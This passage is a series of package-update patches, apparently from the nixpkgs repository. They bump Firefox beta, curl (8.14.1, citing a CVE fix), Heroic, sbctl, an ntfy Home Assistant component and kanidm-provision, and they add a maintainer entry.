+      sha256 = "8b0c01e1cbb12df69fe954c63035881f9f3333b330134903eafcc215d831534d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sq/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sq/Firefox%20140.0b6.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "f1ed88be1dc9ef4a5dd873f615c7008e87122f690a0ca8f2c4435c8c07266423";
+      sha256 = "2a586a51f2422727b47b1adc60409da330a6a49bdd216116a2b45cea0d903437";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sr/Firefox%20140.0b6.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "8c76f294b168a7089308b5370b46eb507853964c43e33058d3ff5b0a9cb94a74";
+      sha256 = "df767db631863e930224f4f5b434af5dda0b0a41696ec5c158173b52f0f8604a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sv-SE/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sv-SE/Firefox%20140.0b6.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "33067551aad68665fbafab6357ace0debe78032fa1a9a63b2c7f5c35aee6cd6e";
+      sha256 = "029264295eac7a66f050c8aa6951e036b8bceb77e4371af076e57d86d9b3df24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/szl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/szl/Firefox%20140.0b6.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "cabd50959911a80e1a663327564d546753b6f053a3147d5e5238713f54c930fd";
+      sha256 = "2c3849b9b9c87b5b9f6e979f8a6fafa4b01c9bc14124843315039e691a38edd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ta/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ta/Firefox%20140.0b6.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "55c572220f5e0d0c16b5314e8429a221b668d6b05bd21d1410deb850a20587c5";
+      sha256 = "d2943aa24ff22e41068bcc90bc6303e659f484d5bcacd7af97788cbd10b50100";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/te/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/te/Firefox%20140.0b6.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "dd24dff0bf95f49d5415e541596e2b832481cf9fda89d4a978ce8e3c40690647";
+      sha256 = "1e50c08c4463e659ff845a49cc199653ae686ef858755cba389cf73da128d88d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/tg/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/tg/Firefox%20140.0b6.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "4b628008a8536fd67cf6e403fd9f771f765994e172c228bdf214ec73d7b483b0";
+      sha256 = "37f238ad85c4cf54b0ee15e85925fd20089f43419ae5ee715548c572a2cfd437";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/th/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/th/Firefox%20140.0b6.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "edda1adddebf16eb8ccd31d08fdf77f7f4d349c57dccbd29c98998831f3405a5";
+      sha256 = "e1a656061c4a75e9d615e5a5fc606a9d9f0d5eee1b6d7673011e86913efd203c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/tl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/tl/Firefox%20140.0b6.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "5c9cf0f10257b5788edab5298069a66157be9b740a618c22b6e6f7b6495aee05";
+      sha256 = "8e0a4dce49b2d37c7ca42109693d2b8cc308b2fd5e61bc2671322e31a7f38fe8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/tr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/tr/Firefox%20140.0b6.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "23d6fe36c78458a9c20baca7f9f559c2044e02a7d0298994ae3fce29846a6cbc";
+      sha256 = "8956253cbaab457d68da6c59d6babfc7efd69a514ccb0b97926cf1574a12c104";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/trs/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/trs/Firefox%20140.0b6.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "da3998812d320ea6242a345a239ead76b5e08a479a758fd0769918461c6a89e8";
+      sha256 = "c4935598b8ddb10a3c7078acb982d303d4b10d018104e4af80e4cc9e68bd3faf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/uk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/uk/Firefox%20140.0b6.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "02faddd1b0b5b79211c36438a2ce47238231c11dcf675d65974b8478f7f16818";
+      sha256 = "3fbaf24aaeec14b7a5448a6b1c040652dde18f20c77eaf84a464649132dc52db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ur/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ur/Firefox%20140.0b6.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "bf9846f9ef42b29670ac7a578afe0d0daff713cbe2dcea8fc80e937f753dd284";
+      sha256 = "a1669faa39064f6d931c8dbf8f87744ddba9fc084a6d7dca8260e1a07d73557e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/uz/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/uz/Firefox%20140.0b6.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "dca6f4b4b872c20d9ba2c1b42a2a02e6ae5a70df363fe0f12a3509e6fbc05ee9";
+      sha256 = "fd3a3c761959a2397731d1238c5cecb2a5be1ae7c94d31d6443816cc0401d856";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/vi/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/vi/Firefox%20140.0b6.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "bdbf2095fcd35554cd83ed9a115d6037e24487861ed8746d3b3285735d5518ec";
+      sha256 = "0afa6ce2c479289cc88973ff877bc5c3d25ecf60a6fd8c8c65d08bb60dea16f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/xh/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/xh/Firefox%20140.0b6.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "86496e2fa6591ff5218eb4a7187b5cd303c86e6dc6d6bf9cc32e20aa6b199d77";
+      sha256 = "96ccfcd62e221d67e1f58e279396af1c0ae4b39eb96873df419b78ef5e002fd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/zh-CN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/zh-CN/Firefox%20140.0b6.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "8ab9a64b3733fd391678c47a2307d44205a9ae67aad5895aa11ceb73eeccf6ff";
+      sha256 = "1c682d40183b7256d5e0759399cb486639ce56cce460811f962e754ee9196ac2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/zh-TW/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/zh-TW/Firefox%20140.0b6.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "a1e2692eb4a0a728b051a9f6c3998b7f87b0e118133fb94b069f582c0eb463e9";
+      sha256 = "bba2984115271c7a9c21d80b98b373a5b44c032e7b966b45602fec6904df7e0e";
     }
   ];
 }

From 8e881ed360fa8897d631c908e9f40635c605b676 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Wed, 4 Jun 2025 14:59:00 +0200
Subject: [PATCH 0733/4511] curlMinimal: 8.14.0 -> 8.14.1

Fixes CVE-2025-5399

https://github.com/curl/curl/releases/tag/curl-8_14_1
https://curl.se/ch/8.14.1.html
https://daniel.haxx.se/blog/2025/06/04/curl-8-14-1/

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 97d8e6bde3d115ec689b87582f0cb9de2118d686)
---
 .../curlMinimal/fix-add_handle-resizing.patch | 209 ------------------
 pkgs/by-name/cu/curlMinimal/package.nix       |  11 +-
 2 files changed, 2 insertions(+), 218 deletions(-)
 delete mode 100644 pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch

diff --git a/pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch b/pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch
deleted file mode 100644
index 4b7e58a8eab3..000000000000
--- a/pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch
+++ /dev/null
@@ -1,209 +0,0 @@
-From d16ccbd55de80c271fe822f4ba8b6271fd9166ff Mon Sep 17 00:00:00 2001
-From: Stefan Eissing <stefan@eissing.org>
-Date: Wed, 28 May 2025 14:04:31 +0200
-Subject: [PATCH] multi: fix add_handle resizing
-
-Due to someone being stupid, the resizing of the multi's transfer
-table was actually shrinking it. Oh my.
-
-Add test751 to reproduce, add code assertion.
-
-Fixes #17473
-Reported-by: Jeroen Ooms
-Closes #17475
----
- lib/multi.c                |  3 +-
- tests/data/Makefile.am     |  2 +-
- tests/data/test751         | 33 ++++++++++++++
- tests/libtest/Makefile.inc |  4 ++
- tests/libtest/lib751.c     | 92 ++++++++++++++++++++++++++++++++++++++
- 5 files changed, 132 insertions(+), 2 deletions(-)
- create mode 100644 tests/data/test751
- create mode 100644 tests/libtest/lib751.c
-
-diff --git a/lib/multi.c b/lib/multi.c
-index 792b30515d8b..b744e03ae52f 100644
---- a/lib/multi.c
-+++ b/lib/multi.c
-@@ -347,7 +347,8 @@ static CURLMcode multi_xfers_add(struct Curl_multi *multi,
-   if(unused <= min_unused) {
-      /* make it a 64 multiple, since our bitsets frow by that and
-       * small (easy_multi) grows to at least 64 on first resize. */
--    unsigned int newsize = ((capacity + min_unused) + 63) / 64;
-+    unsigned int newsize = (((capacity + min_unused) + 63) / 64) * 64;
-+    DEBUGASSERT(newsize > capacity);
-     /* Grow the bitsets first. Should one fail, we do not need
-      * to downsize the already resized ones. The sets continue
-      * to work properly when larger than the table, but not
-diff --git a/tests/data/Makefile.am b/tests/data/Makefile.am
-index e8f9e12be71e..16bb57db8e69 100644
---- a/tests/data/Makefile.am
-+++ b/tests/data/Makefile.am
-@@ -107,7 +107,7 @@ test709 test710 test711 test712 test713 test714 test715 test716 test717 \
- test718 test719 test720 test721 test722 test723 test724 test725 test726 \
- test727 test728 test729 test730 test731 test732 test733 test734 test735 \
- test736 test737 test738 test739 test740 test741 test742 test743 test744 \
--test745 test746 test747 test748 test749 test750 \
-+test745 test746 test747 test748 test749 test750 test751 \
- \
- test780 test781 test782 test783 test784 test785 test786 test787 test788 \
- test789 test790 test791 \
-diff --git a/tests/data/test751 b/tests/data/test751
-new file mode 100644
-index 000000000000..ffc6df512f83
---- /dev/null
-+++ b/tests/data/test751
-@@ -0,0 +1,33 @@
-+<testcase>
-+<info>
-+<keywords>
-+MULTI
-+</keywords>
-+</info>
-+<reply>
-+<data>
-+</data>
-+</reply>
-+
-+# Client-side
-+<client>
-+<server>
-+none
-+</server>
-+# tool is what to use instead of 'curl'
-+<tool>
-+lib%TESTNUMBER
-+</tool>
-+
-+<name>
-+multi - add many easy handles
-+</name>
-+<command>
-+</command>
-+</file>
-+</client>
-+
-+# Verify data after the test has been "shot"
-+<verify>
-+</verify>
-+</testcase>
-diff --git a/tests/libtest/Makefile.inc b/tests/libtest/Makefile.inc
-index faf7eacdf6af..002e7ab5470d 100644
---- a/tests/libtest/Makefile.inc
-+++ b/tests/libtest/Makefile.inc
-@@ -50,6 +50,7 @@ LIBTESTPROGS = libauthretry libntlmconnect libprereq                     \
-  lib659 lib661 lib666 lib667 lib668 \
-  lib670 lib671 lib672 lib673 lib674 lib676 lib677 lib678 lib694 lib695   \
-  lib696 \
-+ lib751 \
-  lib1156 \
-  lib1301 \
-  lib1308 \
-@@ -349,6 +350,9 @@ lib695_SOURCES = lib695.c $(SUPPORTFILES)
- lib696_SOURCES = lib556.c $(SUPPORTFILES) $(WARNLESS)
- lib696_CPPFLAGS = $(AM_CPPFLAGS) -DLIB696
- 
-+lib751_SOURCES = lib751.c $(SUPPORTFILES) $(TESTUTIL) $(WARNLESS)
-+lib751_LDADD = $(TESTUTIL_LIBS)
-+
- lib1301_SOURCES = lib1301.c $(SUPPORTFILES) $(TESTUTIL)
- lib1301_LDADD = $(TESTUTIL_LIBS)
- 
-diff --git a/tests/libtest/lib751.c b/tests/libtest/lib751.c
-new file mode 100644
-index 000000000000..ab2f923b959d
---- /dev/null
-+++ b/tests/libtest/lib751.c
-@@ -0,0 +1,92 @@
-+/***************************************************************************
-+ *                                  _   _ ____  _
-+ *  Project                     ___| | | |  _ \| |
-+ *                             / __| | | | |_) | |
-+ *                            | (__| |_| |  _ <| |___
-+ *                             \___|\___/|_| \_\_____|
-+ *
-+ * Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
-+ *
-+ * This software is licensed as described in the file COPYING, which
-+ * you should have received as part of this distribution. The terms
-+ * are also available at https://curl.se/docs/copyright.html.
-+ *
-+ * You may opt to use, copy, modify, merge, publish, distribute and/or sell
-+ * copies of the Software, and permit persons to whom the Software is
-+ * furnished to do so, under the terms of the COPYING file.
-+ *
-+ * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
-+ * KIND, either express or implied.
-+ *
-+ * SPDX-License-Identifier: curl
-+ *
-+ ***************************************************************************/
-+#include "test.h"
-+
-+#include "testutil.h"
-+#include "warnless.h"
-+#include "memdebug.h"
-+
-+#define TEST_HANG_TIMEOUT 60 * 1000
-+
-+/*
-+ * Get a single URL without select().
-+ */
-+
-+CURLcode test(char *URL)
-+{
-+  CURL *easies[1000];
-+  CURLM *m;
-+  CURLcode res = CURLE_FAILED_INIT;
-+  CURLMcode mres;
-+  int i;
-+
-+  (void)URL;
-+  memset(easies, 0, sizeof(easies));
-+
-+  curl_global_init(CURL_GLOBAL_DEFAULT);
-+  m = curl_multi_init();
-+  if(!m) {
-+    res = CURLE_OUT_OF_MEMORY;
-+    goto test_cleanup;
-+  }
-+
-+  for(i = 0; i < 1000; i++) {
-+    CURL *e = curl_easy_init();
-+    if(!e) {
-+      res = CURLE_OUT_OF_MEMORY;
-+      goto test_cleanup;
-+    }
-+    easies[i] = e;
-+
-+    res = curl_easy_setopt(e, CURLOPT_URL, "https://www.example.com/");
-+    if(!res)
-+      res = curl_easy_setopt(e, CURLOPT_VERBOSE, 1L);
-+    if(res)
-+      goto test_cleanup;
-+
-+    mres = curl_multi_add_handle(m, e);
-+    if(mres != CURLM_OK) {
-+      printf("MULTI ERROR: %s\n", curl_multi_strerror(mres));
-+      res = CURLE_FAILED_INIT;
-+      goto test_cleanup;
-+    }
-+  }
-+
-+test_cleanup:
-+
-+  if(res)
-+    printf("ERROR: %s\n", curl_easy_strerror(res));
-+
-+  for(i = 0; i < 1000; i++) {
-+    if(easies[i]) {
-+      curl_multi_add_handle(m, easies[i]);
-+      curl_easy_cleanup(easies[i]);
-+      easies[i] = NULL;
-+    }
-+  }
-+  curl_multi_cleanup(m);
-+  curl_global_cleanup();
-+
-+  return res;
-+}
diff --git a/pkgs/by-name/cu/curlMinimal/package.nix b/pkgs/by-name/cu/curlMinimal/package.nix
index f4393335b738..e84bce6fafd9 100644
--- a/pkgs/by-name/cu/curlMinimal/package.nix
+++ b/pkgs/by-name/cu/curlMinimal/package.nix
@@ -91,7 +91,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "curl";
-  version = "8.14.0";
+  version = "8.14.1";
 
   src = fetchurl {
     urls = [
@@ -100,16 +100,9 @@ stdenv.mkDerivation (finalAttrs: {
         builtins.replaceStrings [ "." ] [ "_" ] finalAttrs.version
       }/curl-${finalAttrs.version}.tar.xz"
     ];
-    hash = "sha256-s2NM/FOMcsnGynlO9Mc9f9vRceje4tuDfYOl5FIxACo=";
+    hash = "sha256-9GGaHiR0xLv+3IinwhkSCcgzS0j6H05T/VhMwS6RIN0=";
   };
 
-  patches = [
-    # Backport of https://github.com/curl/curl/commit/d16ccbd55de80c271fe822f4ba8b6271fd9166ff
-    # Fixes a regression introduced in 8.14.0
-    # Remove with 8.14.1
-    ./fix-add_handle-resizing.patch
-  ];
-
   # this could be accomplished by updateAutotoolsGnuConfigScriptsHook, but that causes infinite recursion
   # necessary for FreeBSD code path in configure
   postPatch = ''

From 3a5080c8cd1fe27127c7a8d40bb5506026304e4c Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Fri, 23 May 2025 17:57:47 +0200
Subject: [PATCH 0734/4511] heroic-unwrapped: 2.16.1 -> 2.17.0

(cherry picked from commit 9a7782a6b3254ade1183e86424a326c1249de743)
---
 pkgs/by-name/he/heroic-unwrapped/package.nix | 21 ++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/he/heroic-unwrapped/package.nix b/pkgs/by-name/he/heroic-unwrapped/package.nix
index f51612b4fbcc..90cce11b353d 100644
--- a/pkgs/by-name/he/heroic-unwrapped/package.nix
+++ b/pkgs/by-name/he/heroic-unwrapped/package.nix
@@ -3,12 +3,13 @@
   stdenv,
   fetchFromGitHub,
   nix-update-script,
-  pnpm_9,
+  # Pinned, because our FODs are not guaranteed to be stable between major versions.
+  pnpm_10,
   nodejs,
   python3,
   makeWrapper,
-  # Upstream uses EOL Electron 31.  Use next oldest version.
-  electron_34,
+  # Electron updates frequently break Heroic, so pin same version as upstream, or newest non-EOL.
+  electron_36,
   vulkan-helper,
   gogdl,
   legendary-heroic,
@@ -17,27 +18,27 @@
 }:
 
 let
-  electron = electron_34;
+  electron = electron_36;
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "heroic-unwrapped";
-  version = "2.16.1";
+  version = "2.17.0";
 
   src = fetchFromGitHub {
     owner = "Heroic-Games-Launcher";
     repo = "HeroicGamesLauncher";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-BnBzbbyi9cdO6W59cnY13hnhH+tjrTryTp9XIcERwh4=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-Tjme43vw+aIjyXBIsaNE8+bWrLKpIDJZpQaKb/bJYFQ=";
   };
 
-  pnpmDeps = pnpm_9.fetchDeps {
+  pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-2IQyXULgFoz0rFQ8SwERgMDzzo7pZ3DbqhwrWNYSwRo=";
+    hash = "sha256-cV0+HZb6g65kGu1zOBueY954ol1bLGW8ddCniwAVWcw=";
   };
 
   nativeBuildInputs = [
     nodejs
-    pnpm_9.configHook
+    pnpm_10.configHook
     python3
     makeWrapper
   ];

From 7c53b3faa2f4f32bb9d635fbfa8bc43229b2fb29 Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Wed, 4 Jun 2025 16:44:41 +0200
Subject: [PATCH 0735/4511] heroic-unwrapped: 2.17.0 -> 2.17.1

Diff: https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/compare/refs/tags/v2.17.0...refs/tags/v2.17.1

Changelog: https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/releases
(cherry picked from commit f1d85a79074a6d3fb245e3f0015fb3587ad3dd5e)
---
 pkgs/by-name/he/heroic-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/he/heroic-unwrapped/package.nix b/pkgs/by-name/he/heroic-unwrapped/package.nix
index 90cce11b353d..944936fbe444 100644
--- a/pkgs/by-name/he/heroic-unwrapped/package.nix
+++ b/pkgs/by-name/he/heroic-unwrapped/package.nix
@@ -22,18 +22,18 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "heroic-unwrapped";
-  version = "2.17.0";
+  version = "2.17.1";
 
   src = fetchFromGitHub {
     owner = "Heroic-Games-Launcher";
     repo = "HeroicGamesLauncher";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Tjme43vw+aIjyXBIsaNE8+bWrLKpIDJZpQaKb/bJYFQ=";
+    hash = "sha256-8vmFgLtFvS9JtbQbUNdSHr9zZaTZnQ2ntSueLcCICaE=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-cV0+HZb6g65kGu1zOBueY954ol1bLGW8ddCniwAVWcw=";
+    hash = "sha256-9WCIdQ91IU8pfq6kpbmmn6APBTNwpCi9ovgRuWYUad8=";
   };
 
   nativeBuildInputs = [

From b556a2848511750baffb04077119a8228c9270e2 Mon Sep 17 00:00:00 2001
From: Pokey <79169880+Pokeylooted@users.noreply.github.com>
Date: Tue, 27 May 2025 11:12:17 +0000
Subject: [PATCH 0736/4511] maintainers: add Pokeylooted

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 113b5ea334d76f72548e0c0a578e41d749f5dd20)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 88c090f9dc0e..010c97ab4f87 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -19671,6 +19671,12 @@
     githubId = 38314551;
     name = "Peter Okelmann";
   };
+  Pokeylooted = {
+    email = "pokeyrandomgaming@gmail.com";
+    github = "Pokeylooted";
+    githubId = 79169880;
+    name = "Dani Barton";
+  };
   pokon548 = {
     email = "nix@bukn.uk";
     github = "pokon548";

From 5ed5fb6b9f2ad316b75318db6cfff6d2a5e6fc1c Mon Sep 17 00:00:00 2001
From: Pokey <79169880+Pokeylooted@users.noreply.github.com>
Date: Sat, 10 May 2025 18:59:03 -0400
Subject: [PATCH 0737/4511] sbctl: 0.16 -> 0.17, adoption

- Updated version to 0.17
- Fixed `hash` and `vendorHash`
- Removed nested `with` usage
- Set `mainProgram`
- Minor formatting cleanup

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 442d5ac1f026add7a791905386ced53e62572013)
---
 pkgs/by-name/sb/sbctl/package.nix | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/sb/sbctl/package.nix b/pkgs/by-name/sb/sbctl/package.nix
index a9b33ea9f479..8f971ca08294 100644
--- a/pkgs/by-name/sb/sbctl/package.nix
+++ b/pkgs/by-name/sb/sbctl/package.nix
@@ -11,16 +11,16 @@
 
 buildGoModule rec {
   pname = "sbctl";
-  version = "0.16";
+  version = "0.17";
 
   src = fetchFromGitHub {
     owner = "Foxboron";
     repo = "sbctl";
     tag = version;
-    hash = "sha256-BLSvjo6GCqpECJPJtQ6C2zEz1p03uyvxTYa+DoxZ78s=";
+    hash = "sha256-7dCaWemkus2GHxILBEx5YvzdAmv89JfcPbqZZ6QwriI";
   };
 
-  vendorHash = "sha256-srfZ+TD93szabegwtzLTjB+uo8aj8mB4ecQ9m8er00A=";
+  vendorHash = "sha256-gpHEJIbLnB0OiYB00rHK6OwrnHTHCj/tTVlUzuFjFKY=";
 
   ldflags = [
     "-s"
@@ -57,17 +57,18 @@ buildGoModule rec {
 
   passthru.updateScript = nix-update-script { };
 
-  meta = with lib; {
+  meta = {
     description = "Secure Boot key manager";
     mainProgram = "sbctl";
     homepage = "https://github.com/Foxboron/sbctl";
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
+      Pokeylooted
       raitobezarius
       Scrumplex
     ];
-    # go-uefi do not support darwin at the moment:
+    # go-uefi does not support darwin at the moment:
     # see upstream on https://github.com/Foxboron/go-uefi/issues/13
-    platforms = platforms.linux;
+    platforms = lib.platforms.linux;
   };
 }

From 3268a1fb20028a558f81642e14b94f1aed113a06 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Kry=C5=A1tof=20Baksa?=
 <62813600+Golbinex@users.noreply.github.com>
Date: Fri, 6 Jun 2025 16:50:35 +0200
Subject: [PATCH 0738/4511] home-assistant-custom-components.ntfy: 1.2.0-pre.2
 -> 1.2.0

https://github.com/hbrennhaeuser/homeassistant_integration_ntfy/releases/tag/v1.2.0
(cherry picked from commit 35a22ca9e844036323675f2fb4df08d81df3a409)
---
 .../servers/home-assistant/custom-components/ntfy/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/home-assistant/custom-components/ntfy/package.nix b/pkgs/servers/home-assistant/custom-components/ntfy/package.nix
index 20468ad516e8..cbe51a92e7d4 100644
--- a/pkgs/servers/home-assistant/custom-components/ntfy/package.nix
+++ b/pkgs/servers/home-assistant/custom-components/ntfy/package.nix
@@ -8,13 +8,13 @@
 buildHomeAssistantComponent rec {
   owner = "hbrennhaeuser";
   domain = "ntfy";
-  version = "1.2.0-pre.2";
+  version = "1.2.0";
 
   src = fetchFromGitHub {
     inherit owner;
     repo = "homeassistant_integration_ntfy";
     rev = "v${version}";
-    hash = "sha256-ydWZ4ApYQ9kyMA5A2OGXG323/7H3fa2XPiOAFBZNM30=";
+    hash = "sha256-cy4aHrUdFlMGQt9we0pA8TEGffQEGptZoaSKxwXD4kM=";
   };
 
   dependencies = [

From 9a167347df6eeabcd81220f5fd63e8a1f6de3fe6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Kry=C5=A1tof=20Baksa?=
 <62813600+Golbinex@users.noreply.github.com>
Date: Fri, 6 Jun 2025 16:51:10 +0200
Subject: [PATCH 0739/4511] home-assistant-custom-components.ntfy: Add baksa to
 maintainers

(cherry picked from commit 8d0e54a6a1dda22c2a84c4d3cb0401c78ba93d79)
---
 .../home-assistant/custom-components/ntfy/package.nix        | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/servers/home-assistant/custom-components/ntfy/package.nix b/pkgs/servers/home-assistant/custom-components/ntfy/package.nix
index cbe51a92e7d4..689fc37c9417 100644
--- a/pkgs/servers/home-assistant/custom-components/ntfy/package.nix
+++ b/pkgs/servers/home-assistant/custom-components/ntfy/package.nix
@@ -24,7 +24,10 @@ buildHomeAssistantComponent rec {
   meta = with lib; {
     description = "Send notifications with ntfy.sh and selfhosted ntfy-servers";
     homepage = "https://github.com/hbrennhaeuser/homeassistant_integration_ntfy";
-    maintainers = with maintainers; [ koral ];
+    maintainers = with maintainers; [
+      koral
+      baksa
+    ];
     license = licenses.gpl3;
   };
 }

From dbbafec041cdefbdb870dfbc301a51b53ab25aec Mon Sep 17 00:00:00 2001
From: oddlama <oddlama@oddlama.org>
Date: Sat, 7 Jun 2025 11:05:59 +0200
Subject: [PATCH 0740/4511] kanidm-provision: 1.2.1 -> 1.3.0

(cherry picked from commit b7f5fce1cacaee5fe9636d45c18c35a1d990787c)
---
 pkgs/by-name/ka/kanidm-provision/package.nix | 15 +++------------
 1 file changed, 3 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/ka/kanidm-provision/package.nix b/pkgs/by-name/ka/kanidm-provision/package.nix
index f7a603dba55c..4b1bd354e566 100644
--- a/pkgs/by-name/ka/kanidm-provision/package.nix
+++ b/pkgs/by-name/ka/kanidm-provision/package.nix
@@ -2,7 +2,6 @@
   lib,
   rustPlatform,
   fetchFromGitHub,
-  yq,
   versionCheckHook,
   nix-update-script,
   nixosTests,
@@ -10,25 +9,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "kanidm-provision";
-  version = "1.2.1";
+  version = "1.3.0";
 
   src = fetchFromGitHub {
     owner = "oddlama";
     repo = "kanidm-provision";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-kwxGrLz59Zk8PSsfQzPUeA/xWQZrV1NWlS5/yuqfIyI=";
+    hash = "sha256-m3bF4wFPVRc2E+E/pZc3js9T4rYbTejo/FFpysytWKw=";
   };
 
-  postPatch = ''
-    tomlq -ti '.package.version = "${finalAttrs.version}"' Cargo.toml
-  '';
-
   useFetchCargoVendor = true;
-  cargoHash = "sha256-uo/TGyfNChq/t6Dah0HhXhAwktyQk0V/wewezZuftNk=";
-
-  nativeBuildInputs = [
-    yq # for `tomlq`
-  ];
+  cargoHash = "sha256-dPTrIc/hTbMlFDXYMk/dTjqaNECazldfW43egDOwyLM=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";

From 7ce5e5aa0f6db84c22284854c61f301c1c82b7cf Mon Sep 17 00:00:00 2001
